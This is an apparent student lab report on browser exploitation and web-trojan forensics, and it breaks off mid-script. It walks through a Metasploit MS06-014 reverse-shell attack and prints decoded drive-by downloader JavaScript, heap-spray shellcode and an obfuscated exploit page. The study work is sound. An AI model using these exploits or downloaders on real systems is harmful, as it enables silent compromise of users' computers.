20212818 2021-2022-2 《网络攻防实践》实践十一报告
作者:互联网
一、实践内容
1、浏览器渗透攻击
就是利用对浏览器的控制,根据当前形势,探寻攻击的可能性。这种攻击有多种形式,包括对浏览器的“本地”攻击,对浏览器所在操作系统的攻击,以及对任意位置远程系统的攻击。
对浏览器进行核心攻击的方法:
(1)、避开同源策略。
将SOP看作是浏览器的重要沙箱。若您可以避开它,那么只需访问另一个以前被浏览器封死的源代码,就可以自动成功实施攻击。绕过了SOP,接下来可用的一系列攻击方法可以用于攻击新出现的源代码。将对SOP做一个深入的解释。如果你绕过它,可以进行多种攻击,而不会产生干扰。讨论了一些矛盾点,并讨论了如何利用浏览器基础安全组件的漏洞
(2)、攻击使用者。
“浏览器入侵”方法的第一个选择是攻击用户。本章涵盖了浏览器用户的攻击技术,以及他们对攻击者所控制的环境的潜在信任。通过浏览器提供的方法,以及您控制页面的能力,可以创建一个可控的环境,允许用户输入敏感信息以获取并利用它们。可能会使用户陷入困境,不知不觉地放弃了权限,并引发其他行为,如运行任意程序或授权访问本地资源。可产生隐藏的对话框和透明的框架,或控制鼠标事件以帮助达到上述目的,显示给用户一个假象,掩盖用户界面的真正功能。如果像要对自己或公司的项目进行渗透测试服务的话可以找找网站安全公司,国内推荐这几家安全公司如SINE安全,鹰盾安全,启明星辰,大树安全,绿盟等等。
(3)、攻击浏览器。
直接攻击浏览器的核心就是攻击浏览器。探索指纹的方法并充分利用。浏览器具有很大的攻击性,它有很多API和各种抽象机制来存储和获取数据。不出所料,许多年来,浏览器就被它自己这样或那样的隐患所困扰。更让人吃惊的是,每次浏览器开发人员解决问题时都会无赖地进行。
(4)、攻击面的扩大。
要是对核心浏览器的攻击失败,就等于大门被关上了。这时,可以考虑攻击它所安装的外部程序(可能数量众多)。介绍相关内容,主题是攻击扩展。本章将讨论扩展变量和特殊的扩展实现。您将看到许多扩展隐患,利用它们,您可以实现跨域请求,甚至执行操作命令。
2、网页木马攻击
网页木马是网页恶意软件威胁的罪魁祸首,和大家印象中的不同,准确的说,网页木马并不是木马程序,而应该称为网页木马“种植器”,也即一种通过攻击 浏览器或浏览器外挂程序(目标通常是IE浏览器和ActiveX程序)的 漏洞,向目标用户机器植入木马、病毒、密码盗取等恶意程序的手段。
(1)网页木马攻击原理
网页病毒是利用网页来进行破坏的病毒,它存在于网页之中,其实是使用一些SCRIPT语言编写的一些 恶意代码利用IE的漏洞来实现病毒植入。当用户登录某些含有 网页病毒的网站时,网页病毒便被悄悄激活,这些病毒一旦激活,可以利用系统的一些资源进行破坏。轻则修改用户的注册表,使用户的首页、 浏览器标题改变,重则可以关闭系统的很多功能,装上木马,染上病毒,使用户无法正常使用 计算机系统,严重者则可以将用户的系统进行格式化。而这种 网页病毒容易编写和修改,使用户防不胜防。
目前的网页病毒都是利用JS.ActiveX、WSH共同合作来实现对客户端计算机,进行本地的写操作,如改写你的注册表,在你的本地计算机硬盘上添加、删除、更改文件夹或文件等操作。而这一功能却恰恰使网页病毒、网页木马有了可乘之机。
(2)网页木马防范方法
网页木马的防范只靠 杀毒软件和 防火墙是远远不够的,因为一旦 黑客使用了反弹端口的个人版木马(个人反汇编的一些杀毒软件无法识别的木马),那么杀毒软件和防火墙就无可奈何,所以,网页木马的防范要从它的原理入手,从根子上进行防范。
1)安装补丁
改名或 卸载(反注册)最不安全的ActiveXObject(IE插件)
在系统中有些ActiveXObject会运行EXE程序,比如本文中“自动运行程序”代码中的Shell.application控件,这些控件一旦在网页中获得了执行权限,那么它就会变为木马运行的“温床”,所以把这些控件改名或 卸载能彻底防范利用这些控件的网页木马。但是ActiveXObject是为了应用而出现的,而不是为了攻击而出现的,所有的控件都有它的用处,所以在改名或卸载一个控件之前,你必须确认这个控件是你不需要的,或者即使卸载了也不关大体的。 卸载(反注册)ActiveXObject过程如下:
第一步:在“开始” 菜单上单击“运行”,输入“CMD”命令打开 命令提示符窗口。
第二步:在 命令提示符下输入“regsvr32.exe shell32.dll /u/s”,然后回车就能将Shell.application控件 卸载。
如果日后我们希望继续使用这个控件的话,可以在 命令提示符窗口中输入“regsvr32.exe shell32.dll /i/s”命令将它们重新安装(注册)。在上述命令中:“regsvr32.exe”是注册或反注册OLE对象或控件的命令,[/u]是反注册参数,[/s]是寂静模式参数,[/I]为安装参数。
2)改名
需要说明的是,改名一个控件时,控件的名称和CLSID(Class ID)都要改,并且要改彻底。下面仍以Shell.application为例来介绍方法。
第一步:打开 注册表编辑器,查找“Shell.application”。用这个方法能找到两个 注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。
第二步:把{13709620-C279-11CE-A49E-444553540000}改为{13709620-C279-11CE-A49E-444553540001},注意,不要和系统中的其它CLSID重复。
第三步:把“Shell.application”改名为“Shell.application_xxx”。以后用到这个控件的时候你使用这个名称就可以正常调用此控件了。
3)安全级别
有些 网马只要调高IE的安全级别,或者禁用脚本,该网页木马就不起作用了。从木马的攻击原理我们可以看出,网页木马是利用IE脚本和ActiveX控件上的一些漏洞下载和运行木马的,只要我们禁用了脚本和ActiveX控件,就可以防止木马的下载和运行。
小提示:禁用脚本和ActiveX控件会使一些网页的功能和效果失去作用,所以是否禁用,你要根据自己对安全的需要来定。
第一步:在IE浏览器的 菜单栏上选择“工具→Internet选项”打开“Internet选项”对话框。
第二步:在“安全”选项卡上,在Internet和本地Internet区域,分别把滑块移动到最高,或者点击“自定义级别”,在打开的对话框上禁用 脚本,禁用ActiveX控件。
二、实践过程
任务一:web浏览器渗透攻击
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
选择kali为攻击机,IP地址为192.168.200.4,选择Win2k为靶机,IP地址为192.168.200.124。
尝试用攻击机ping靶机,看能否联通,如下图所示可以联通。
在kali机中进入msfconsole界面,命令为:msfconsole,查看相关漏洞信息,命令为:search MS06-014。
选择漏洞,命令为:use exploit/windows/browser/ie_createobject。
查看负载信息,命令为:show payloads。
设置payload为generic/shell_reverse_tcp,命令为: set payload generic/shell_reverse_tcp。
分别设置攻击机和靶机的IP地址。
靶机:set rhost 192.168.200.124
攻击机:set lhost 192.168.200.4
执行漏洞,命令为: run,可以得到一些IP信息。
在靶机中访问刚才得到的Local IP:http://192.168.200.4:8080/zallyds3,可得到一串字母。
可以在攻击机处看到访问记录。
连接成功之后,输入命令:ls,发现已经渗透入靶机,则攻击成功了。
验证是否攻击成功:首先打开会话,命令为:sessions -i 1。可以看到我们攻击的主机是Windows 2000,则我们攻击成功。
任务二:取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
从云班课上下载网页挂马分析实践参考上和下,在网页挂马分析实践参考上中搜索new09.htm,发现在文档代码中的两处都有。
观察到在引用new09.htm时没有用绝对路径,所以判断其应该与start.html在同一个文件夹中。并且在 new09.htm文件中,我们可以看到引用了两个地址:http://aa.18dd.net/aa/kl.htm地址和http://js.users.51.la/1299644.js。
在网页搜索“MD5在线解密破解”,选择相应的在线MD5破解网页,输入两个地址,可以看到MD5算法加密后两个地址的数值分别为7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3。
下载群中上传的压缩文件,在hashed文件夹中找到两个数值对应的文件,JS文件没有用,我们在htm对应的文件中查看信息。
htm对应文件内容为
通过观察可以看到此文件的数据加解密方法是XXTEA+Base64。
在网上打开一个16进制转为字符串的网页工具,然后将\x73\x63\x72\x69\x70\x74转换为字符串,可由图中得出结果为script。
在XXTEA在线加密解密工具网站(网址为:https://cycy.sourceforge.io/xxtea/)中解密文档内容,输入script为密钥,并将全部的文件代码粘贴到文本框中,点击解密,可解密得到如下信息。
完整解密内容如下:
<script> eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d") </script>
把数据中的十六进制转换为字符串,得到的字符串如下所示。
整理一下字符串,完整内容如下所示。观察到这个网页用到了漏洞。文件还引用了三个js文件1.js,b.js和pps.js,和一个压缩包bd.cab,解开后是bd.exe。
function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}
MD5加密3个js文件和一个压缩包,得到数值如下:
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
同样,在hashed文件夹中找到这些文件,依次打开进行分析。
打开第一个文件发现里面是十六进制数据。
将16进制解密后信息如下,观察得到代码前面部分下载了http://down.18dd.net/bb/014.exe的可执行文件,后面部分是关于ADODB漏洞的利用。
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open ("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close ();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
打开第二个文件,发现它使用了packed加密方法。
打开网页工具(网址为:http://matthewfl.com/unPacker.html),在解密结果中可以看到单词shellcode。根据老师提供的参考PDF文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为 http://down.18dd.net/bb/bf.exe 得到一个可执行文件。
解密后的完整代码为:
var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersize+shellcode.length; while(bigblock.length<slackspace)bigblock+=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.length+slackspace<0x40000)block=block+block+fillblock; memory=new Array(); for(x=0; x<300; x++)memory[x]=block+shellcode; var buffer=''; while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
打开第三个文件,发现为8进制加密。
将其解密,结果如下。观察可得url为http://down.18dd.net/bb/pps.exe。
/%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer
经过统计目前已经获得4个可执行文件:014.exe、bf.exe、pps.exe、bd.exe。并且通过观察可知4个文件性质完全相同,所以只用研究其中一个就可以了。
打开WinXP虚拟机,用PEid软件打开ps.exe文件,发现它是Delphi写的。
用IDA pro软件反汇编pps.exe。
从下图中可以观察到刚开始下载了20个木马文件,在下载过程中IE应该检测到危险并执行了保护,此执行文件允许运行“保护”,绕过了系统的提示。说明了该可执行文件具有一定进行自我保护的能力。
任务三:攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
实验流程与实验一类似,我们仍然选择kali为攻击机,IP地址为192.168.200.4,Win2k为靶机,IP地址为192.168.200.124。
开始攻击之后,用Win2k打开kali终端中显示的网址,可以看到显示一串字母。在空白处右键选择查看源码,卡伊发现源代码空行非常多,它就是以这种方法迷惑靶机。
经过整理,可以看到源代码如下。可以在代码中发现有payload,后面还有一个可执行文件的名字,这个可执行文件就是恶意程序,在靶机的任务管理器中也可以找到。在Array后面有一串数据信息,通过查询这些内容可以知道攻击方是利用了MS06-014漏洞。
<html>
<head>
<title></title>
<script language="javascript">
function
gzdwlMLPlHuuMUtOTKpQouUcoELw(o, n) {
var r = null;
try {
eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)")
} catch(e) {}
if(!r) {
try {
eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "ject(n,'')")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "ject(n)")
} catch(e) {}
}
return(r);
}
function
CqKcYBeagLkeklyFBEiWRVFBKlwCLQX(a) {
var s = gzdwlMLPlHuuMUtOTKpQouUcoELw(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
var o = gzdwlMLPlHuuMUtOTKpQouUcoELw(a, "A" + "DO" + "D" + "B.S" + "tr" + "eam");
var e = s.Environment("P" + "ro" + "ce" + "ss");
var url = document.location + '/p' + 'ay' + 'lo' + 'ad';
var xml = null;
var bin = e.Item("T" + "E" + "M" + "P") + "\\WbJuhWUJjYWZYEQvE" + ".e" + "xe";
var dat;
try {
xml = new
XMLHttpRequest();
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml) {
return(0);
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0);
}
function
DEvyTaKhCfQtrwvYwsbjQ() {
var i = 0;
var t = new Array('{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '6' + '}', '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}', '{' + '7' + 'F' + '5' + 'B' + '7' + 'F' + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1' + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}', '{' + '6' + 'e' + '3' + '2' + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f' + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}', '{' + '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}', '{' + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6' + '}', '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0' + '1' + '0' + '}', '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8' + '4' + 'B' + 'F' + '8' + '}', '{' + 'D' + '0' + 'C' + '0' + '7' + 'D' + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1' + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 